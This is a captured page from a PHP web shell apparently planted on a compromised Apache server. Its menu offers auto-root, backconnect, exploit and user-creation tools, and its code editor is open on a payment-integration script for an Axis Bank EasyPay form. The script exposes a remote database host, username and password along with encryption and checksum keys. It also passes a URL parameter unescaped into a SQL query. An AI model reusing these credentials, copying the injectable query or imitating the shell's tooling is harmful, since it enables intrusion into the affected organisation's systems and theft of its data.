Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 18.118.28.31
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
results /
bcu /
axis /
[ HOME SHELL ]
Name
Size
Permission
Action
AesForJava.php
4.82
KB
-rwxr-xr-x
EasyPay.php
6.22
KB
-rwxr-xr-x
Formdata.php
3.78
KB
-rwxr-xr-x
Formdata_test.php
1.83
KB
-rwxr-xr-x
Formdata_test07032019.php
3.96
KB
-rwxr-xr-x
axis_response.php
5.55
KB
-rwxr-xr-x
sampleEasyPay.php
2.72
KB
-rwxr-xr-x
sampleEasyPay_25022019.php
2.72
KB
-rwxr-xr-x
sampleEasyPay_testmode.php
2.59
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Formdata_test07032019.php
<?php //if(isset($_POST)) { require_once 'AesForJava.php'; $appno = $_GET['productinfo']; $funivcode = $_GET['funivcode']; $servername = "97.74.228.93"; $username = "logisys3_logu"; $password = "Logisys@2106"; /*$servername = "localhost"; $username = "root"; $password = "";*/ $dbname = "logisys3_comexam"; $conn = new mysqli($servername, $username, $password, $dbname); $get_data = "select * from dbname where ifnull(fdeleted,'') <> 'T'"; $result1=$conn->query($get_data); if (mysqli_num_rows($result1) > 0) { // output data of each row $dbnames = array(); while($row = mysqli_fetch_assoc($result1)) { $dbnames[$row['FUNIVCODE']] = $row['FDBNAME']; } } mysqli_close($conn); $servername = "97.74.228.93"; $username = "logisys3_logu"; $password = "Logisys@2106"; /*$servername = "localhost"; $username = "root"; $password = "";*/ $dbname = $dbnames[$funivcode]; $conn = new mysqli($servername, $username, $password, $dbname); $get_data = "select cs.fregno as fregno, IFNULL(cs.FTOTAL,0) as ftotalfee, control.funivname,pdf_logo_path, '999999999' as fmobileno ,'99999' as fname,'999999@gmail.com' as femail from control, res_stud cs inner join college c on cs.fcollcode = c.fcollcode where appno = '{$appno}'"; $result=$conn->query($get_data); if (mysqli_num_rows($result) > 0) { while($row = mysqli_fetch_assoc($result)) { $fregno = $row['fregno']; $ftotalfee = $row['ftotalfee']; $fname = $row['fname']; $fmobileno = $row['fmobileno']; $femail = $row['femail']; $funivname = $row['funivname']; $logo = $row['pdf_logo_path']; } } //Change Encryption Key as provided by EasyPay Team // for production //$encryption_key= 'z@jmI2MedA^7b2Rk'; //for live $encryption_key= 'axisbank12345678'; //Change Checksum Key as provided by EasyPay Team //$checksum_key = "bwYM"; $checksum_key = "axis"; $cid = '4349'; $rid = rand(10000001,59999999); $crn = rand(60000001,99999999); $amt = number_format($ftotalfee,2,'.',''); //$amt = $ftotalfee; //$amt = '50.00'; $ver = '1.0'; $typ = 'Test'; $cny = 'INR'; $rtu = 'http://results.logisys.org/bcu/axis_response.php'; $ppi = $appno."|".$fregno."|".$appno."|".$fname."|".$femail."|".number_format($ftotalfee,2,'.',''); $re1 = 'MN'; $re2 = ''; $re3 = ''; $re4 = ''; $re5 = ''; /*CKS= hash("sha256",CID+RID+CRN+AMT+checksum_key)*/ $cks = hash("sha256", $cid.$rid.$crn.$amt.$checksum_key); //$str = "CID=".$_POST['CID']."&RID=".$_POST['RID']."&CRN=".$_POST['CRN']."&AMT=".$_POST['AMT']."&VER=".$_POST['VER']."&TYP=".$_POST['TYP']."&CNY=".$_POST['CNY']."&RTU=".$_POST['RTU']."&PPI=".$_POST['PPI']."&RE1=".$_POST['RE1']."&RE2=".$_POST['RE2']."&RE3=".$_POST['RE3']."&RE4=".$_POST['RE4']."&RE5=".$_POST['RE5']."&CKS=".$checksum; $str ='CID='.$cid.'&RID='.$rid.'&CRN='.$crn.'&AMT='.$amt.'&VER='.$ver.'&TYP='.$typ.'&CNY='.$cny.'&RTU='.$rtu.'&PPI='.$ppi.'&RE1=&RE2=&RE3=&RE4=&RE5=&CKS='.$cks; $aesJava = new AesForJava(); $i = $aesJava->encrypt(urldecode($str), $encryption_key, 128); } ?> <script src="https://code.jquery.com/jquery-3.2.1.js" integrity="sha256-DZAnKJ/6XZ9si04Hgrsxu/8s717jcIzLy3oi35EouyE=" crossorigin="anonymous"></script> <center><img src="https://www.aazp.in/wp-content/uploads/2017/12/InternetSlowdown_Day.gif" style="margin-top:17%;width:10%;"/></center> <form style="" name="Formdata" id="Formdata" method="POST" action="https://uat-etendering.axisbank.co.in/easypay2.0/frontend/api/payment" > <textarea name="i" id="i"><?php echo $i; ?></textarea> <input class="btn btn-primary" type="submit" value="Submit" > </form> <script> $(document).ready(function(){ /*$("#Formdata").submit();*/ }); </script>
Close